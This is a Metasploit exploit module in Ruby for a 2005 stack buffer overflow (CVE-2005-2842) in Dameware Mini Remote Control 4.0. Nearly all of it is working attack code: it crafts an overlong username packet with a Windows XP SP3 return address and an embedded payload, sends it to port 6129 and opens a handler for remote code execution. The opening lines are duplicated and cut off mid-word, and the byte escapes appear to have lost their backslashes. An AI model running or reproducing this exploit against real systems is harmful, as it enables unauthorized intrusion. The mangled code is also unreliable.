Dameware Mini Remote Control 4.0 Username Stack Buffer Overflow

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initializ require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Dameware Mini Remote Control Username Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow vulnerability found
in Dameware Mini Remote Control v4.0. The overflow is caused when sending
an overly long username to the DWRCS executable listening on port 6129.
The username is read into a strcpy() function causing an overwrite of
the return pointer leading to arbitrary code execution.
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2005-2842' ],
[ 'BID', '14707' ],
[ 'URL', 'http://secunia.com/advisories/16655' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-08/1074.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 140,
'BadChars' => "x00x0ax0d",
'StackAdjustment' => -3500,
'PrependEncoder' => "xebx03x59xebx05xe8xf8xffxffxff",
'Compat' =>
{
'SymbolLookup' => '+ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
# msvcrt.dll
# push esp/ retn
'Ret' => 0x77c35459,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sept 01 2005'))

register_options(
[
Opt::RPORT(6129),
], self.class )
end

def pkt1
p = payload.encoded

boom = "x43" * 259
boom[100, 4] = [target.ret].pack('V')
boom[108, p.length] = p

packet = "x00" * 4056
packet[0, 4] = "x30x11x00x00"
packet[4, 4] = "x00x00x00x00"
packet[8, 4] = "xd7xa3x70x3d"
packet[12, 4] = "x0axd7x0dx40"
packet[16, 20] = "x00" * 20
packet[36, 4] = "x01x00x00x00"

packet[40, 4] = [0x00002710].pack('V')
packet[196, 259] = rand_text_alpha(259)
packet[456, 259] = boom
packet[716, 259] = rand_text_alpha(259)
packet[976, 259] = rand_text_alpha(259)
packet[1236, 259] = rand_text_alpha(259)
packet[1496, 259] = rand_text_alpha(259)

return packet
end

def pkt2
packet = "x00" * 4096
packet[756, 259] = rand_text_alpha(259)

return packet

end

def exploit
connect

sock.put(pkt1)
sock.recv(1024)
sock.put(pkt2)
sock.recv(84)

handler
disconnect
end

end
__END__